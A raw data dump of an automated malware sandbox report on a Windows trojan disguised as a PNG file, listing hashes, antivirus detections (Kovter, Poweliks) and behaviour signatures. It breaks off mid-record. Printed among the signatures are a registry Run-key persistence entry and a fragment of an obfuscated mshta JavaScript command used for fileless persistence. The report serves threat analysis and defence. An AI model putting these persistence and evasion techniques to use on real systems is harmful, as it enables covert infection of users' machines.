d3d3d3AAAAAAAAAHd3d3d3d3d3dwAAAAAAAAAHd3d3d3d3d3AAAAAAAAAAAHeIh3d3d3cAAAAAAAAAAAAAeIiIiHcAAAAAAAAAAAAAAAAAdwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/wAP//wAA//wAAD/4AAAf8AAAD+AAAAfAAAADwAAAA4AAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAYAAAAHAAAADwAAAA+AAAAfwAAAP+AAAH/wAAD//AAD//8AD/w==38:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAd3d3AAAAAAAAAAAAAAAAd3d3d3dwAAAAAAAAAAAAB3d3d3d3d3AAAAAAAAAAAHd3d3d3d3d3AAAAAAAAAAAHd3d3d3d3d3AAAAAAAAAAAAAAAAB3d3d3AAAAAAAAAAAAADEAAAAABwAAAAAAAAAAA7u7uzAAAAAAAAAAAAAAA7u7u7u7AAAAAAAAAAAAMzu7uzu7u7AwAAAAAAAACzC7uxAAA7u7CzAAAAAAAbsTuzCZEAALuzOzAAAAADu7C7sAmZkAA7uwuzAAAAO7szuzAJmZkQA7sLuzAAALu7M7swCZmZmRO7G7uzAAeIiDO7MAmZmZmTuxu7swAAeIh3iDAId3dxB7sbu7AAAAeIg4iACIiHAAiIG7sAAAAAf/GIhwiIEAB4h3hwAAAAAAf3f/h4cAAHiIGHAAAAAAAAOHj/+HE3j/93cAAAAAAAAAB3j//////3AAAAAAAAAAAAAAf////4cAAAAAAAAAAAAAAAB4iHcAAAAAAAAAAAAAd3d3d3d3d3d3AAAAAAAAAHd3d3d3d3d3dwAAAAAAAAAHd3d3d3d3d3AAAAAAAAAAAHeIh3d3d3cAAAAAAAAAAAAAeIiIiHcAAAAAAAAAAAAAAAAAdwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/wAP//wAA//wAAD/4AAAf8AAAD+AAAAfAAAADwAAAA4AAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAYAAAAHAAAADwAAAA+AAAAfwAAAP+AAAH/wAAD//AAD//8AD/w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"21efa5573721890cdcf9481f613ccb7d633733f05bc29cfeae402802e382cc92","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790269414705,"unified_at":"2026-09-24T17:03:34.705Z","metadata":{"hashes":{"sha256":"21efa5573721890cdcf9481f613ccb7d633733f05bc29cfeae402802e382cc92","sha1":"368cfc46a0051cc83a8e18e2509f488ff88e004c","md5":"0e4b16cec12adca5659213627265d4bf","sha512":"98958e4a350c83d2e710ecbcf7d394ac3aae8227cafe26de6c7ef640b4dd8a0e8f5ecfdae812a7225dbaa7a6899c73bbcc590610019df73af20275fd8c13f250","ssdeep":"12288:jZ+0WE0VkdqgCMy9BUhwTNMkdfJfyRORQgF:jFWE0VpgCvSIdh0OCgF","ssdeep_chunks":["12288:jZ+0WE0","12288:Z+0WE0V","12288:+0WE0Vk","12288:0WE0Vkd","12288:WE0Vkdq","12288:E0Vkdqg","12288:0VkdqgC","12288:VkdqgCM","12288:kdqgCMy","12288:dqgCMy9","12288:qgCMy9B","12288:gCMy9BU","12288:CMy9BUh","12288:My9BUhw","12288:y9BUhwT","12288:9BUhwTN","12288:BUhwTNM","12288:UhwTNMk","12288:hwTNMkd","12288:wTNMkdf","12288:TNMkdfJ","12288:NMkdfJf","12288:MkdfJfy","12288:kdfJfyR","12288:dfJfyRO","12288:fJfyROR","12288:JfyRORQ","12288:fyRORQg","12288:yRORQgF","24576:jZ+0WE0","24576:Z+0WE0V","24576:+0WE0Vk","24576:0WE0Vkd","24576:WE0Vkdq","24576:E0Vkdqg","24576:0VkdqgC","24576:VkdqgCM","24576:kdqgCMy","24576:dqgCMy9","24576:qgCMy9B","24576:gCMy9BU","24576:CMy9BUh","24576:My9BUhw","24576:y9BUhwT","24576:9BUhwTN","24576:BUhwTNM","24576:UhwTNMk","24576:hwTNMkd","24576:wTNMkdf","24576:TNMkdfJ","24576:NMkdfJf","24576:MkdfJfy","24576:kdfJfyR","24576:dfJfyRO","24576:fJfyROR","24576:JfyRORQ","24576:fyRORQg","24576:yRORQgF","12288:jFWE0Vp","12288:FWE0Vpg","12288:WE0VpgC","12288:E0VpgCv","12288:0VpgCvS","12288:VpgCvSI","12288:pgCvSId","12288:gCvSIdh","12288:CvSIdh0","12288:vSIdh0O","12288:SIdh0OC","12288:Idh0OCg","12288:dh0OCgF"],"imphash":"8ff2ea4fe0c6b28374d7ce04f7048ecd"},"file_info":{"file_name":"da40c167cd75d.png","file_type":["peexe","executable"],"file_type_id":"exe","file_size":488568,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499286502000,"last_seen":1676518058000,"last_multi_scan":1676518058000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["kovter","suspicious","cerber","evasive","hyteod","locky","nemucod","petya","ransomware","apt"]},"stats":{"av":{"malicious_count":24,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":34,"suspicious_count":22,"malicious_count":11,"total":67},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Poweliks","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1234761","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.CIPZ","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Packed.Kovter-6333830-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"W32/Kovter.T.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.CIPZ (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Kryptik.FUHS trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"HVM:Trojan/Injector.b","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 00510dd61 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader.Win32.Upatre.hzzx","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"GenericRXBW-UQ!0E4B16CEC12A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.GenKryptik.eqmbis","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Mal/Kovter-Z","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Trojan/W32.Poweliks.488568","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"TROJ_HP.F5E7334C","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"TROJ_HP.F5E7334C","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Generic.BS","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"TScope.Malware-Cryptor.SB","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.GenKryptik.Win32.8617","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"$27","origin":"API Call","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 56542-10397-00404F95","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights","origin":"API Call","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \".bss\" is zero","origin":"Static Parser","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"EnumSystemLocalesW@KERNEL32.dll at 56542-8241-0040B8C0\n GetUserDefaultUILanguage@KERNEL32.dll at 56542-8243-004059A4\n GetUserDefaultUILanguage@KERNEL32.dll at 56542-8790-00407E85\n EnumSystemLocalesW@KERNEL32.dll at 56542-8479-0040FBA4\n GetUserDefaultLCID@KERNEL32.dll at 56542-8271-0040E0EF","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"Environment Awareness","name":"Possibly tries to detect the presence of a debugger","description":"GetProcessHeap@KERNEL32.dll at 56542-8304-0040C917","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$28","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Windows OS Submitting USB Metadata to Microsoft\" (SID: 2025275, Rev: 1, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$29","origin":"Registry Access","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$2a","origin":"Registry Access","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"crl4.digicert.com\"\n \"crl3.digicert.com\"\n \"goo.gl\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"2.20.193.233:80\"\n \"2.21.242.227:80\"\n \"92.122.53.41:80\"\n \"92.122.27.121:80\"\n \"68.238.65.202:443\"\n \"167.88.157.238:443\"\n \"25.245.176.160:80\"\n \"185.117.72.90:80\"\n \"170.32.254.52:443\"\n \"142.147.236.193:8080\"\n \"135.23.21.70:80\"\n \"53.199.111.102:80\"\n \"70.26.38.194:80\"\n \"29.183.39.161:8080\"\n \"210.43.221.90:8080\"\n \"57.214.150.21:80\"\n \"112.66.82.209:443\"\n \"21.246.53.7:80\"\n \"2.21.242.237:80\"\n \"116.20.155.154:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx\"\n \"_SHuassist.mtx\"\n \"\\Sessions\\1\\BaseNamedObjects\\0F260914C76C6152\"\n \"0F260914C76C6152\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Global\\C8C11A319FC81E28\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\C8C11A319FC81E28\"\n \"\\Sessions\\1\\BaseNamedObjects\\B626DF86768DAE43\"\n \"B626DF86768DAE43\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /DigiCertHighAssuranceEVRootCA.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl4.digicert.com\"\n \"GET /DigiCertHighAssuranceEVRootCA.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl3.digicert.com\"\n \"GET /sha2-ha-cs-g1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl3.digicert.com\"\n \"GET /sha2-ha-cs-g1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl4.digicert.com\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\199dd46435d7fdbbe590cccd8c8ae9cb\\mscorlib.ni.dll\" at 71970000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"General","name":"Opened the service control manager","description":"\"regsvr32.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$2b","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"regsvr32.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$2c","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"mshta.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"feef8.bat\" has type \"ASCII text with CRLF line terminators\"\n \"828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56\" has type \"data\"\n \"DX3EG52555ZNPTC50U6E.temp\" has type \"data\"\n \"8A574ED5927B3CEC9626151D220C7448\" has type \"data\"\n \"23B523C9E7746F715D33C6527C18EB9D\" has type \"data\"\n \"8059E9A0D314877E40FE93D8CCFB3C69_7949AB1D830C9EC8D2D6C5C97769C147\" has type \"data\"\n \"D7B4E43171BB9E412497B0377F4343E7\" has type \"data\"\n \"58463.c08962\" has type \"data\"\n \"57C8EDB95DF3F0AD4EE2DC2B8CFD4157\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"regsvr32.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"(DEFAULT)\"; Value: \"\"%LOCALAPPDATA%\\00c4f\\feef8.bat\"\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"Installation/Persistance","name":"Modifies the open verb of a shell class","description":"\"regsvr32.exe\" (Path: \"HKCU\\ABC58\\SHELL\\OPEN\\COMMAND\"; Key: \"(DEFAULT)\"; Value: \"\"%WINDIR%\\system32\\mshta.exe\" \"javascript:mEVjE48=\"Rp2\";O2a=new ActiveXObject(\"WScript.Shell\");oE4p5M=\"r\";d61ood=O2a.RegRead(\"HK\")","origin":"Registry Access","relevance":10,"id":"registry-58","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"level":"informative","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"powershell.exe\" opened \"\\Device\\MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$2d","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$2e","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found a reference to a known community page","description":"\"*.youtube-nocookie.com\" (Indicator: \"youtube\")\n \"*.youtube.com\" (Indicator: \"youtube\")\n \"*.youtubeeducation.com\" (Indicator: \"youtube\")\n \"youtube.com\" (Indicator: \"youtube\")\n \"youtubeeducation.com\" (Indicator: \"youtube\")","origin":"File/Memory","relevance":7,"id":"string-10","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"level":"informative","category":"System Destruction","name":"Marks file for deletion","description":"\"%WINDIR%\\SysWOW64\\regsvr32.exe\" marked \"C:\\Main.png.exe\" for deletion","origin":"API Call","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"level":"informative","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"regsvr32.exe\" opened \"c:\\main.png.exe\" with delete access\n \"regsvr32.exe\" opened \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\d3de7.lnk\" with delete access","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"regsvr32.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"level":"informative","category":"System Security","name":"Modifies Software Policy Settings","description":"$2f","origin":"Registry Access","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"\n \"mshta.exe\" opened \"\\Device\\KsecDD\"\n \"regsvr32.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"Unusual Characteristics","name":"Uses powershell to invoke an expression using an environment variable","description":"$30","origin":"Monitored Target","relevance":10,"id":"target-53","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"\" at 00011881-00004140-00000033-45033909\n \"mshta.exe\" at 00012677-00003468-00000033-45729263\n \"regsvr32.exe\" at 00014346-00003588-00000033-52636898","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"mshta.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")\n \"regsvr32.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"regsvr32.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the system/video BIOS version","description":"\"regsvr32.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"SYSTEMBIOSVERSION\")\n \"regsvr32.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"VIDEOBIOSVERSION\")","origin":"Registry Access","relevance":9,"id":"registry-6","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")\n \"regsvr32.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","relevance":10,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the windows product ID","description":"\"regsvr32.exe\" (Path: 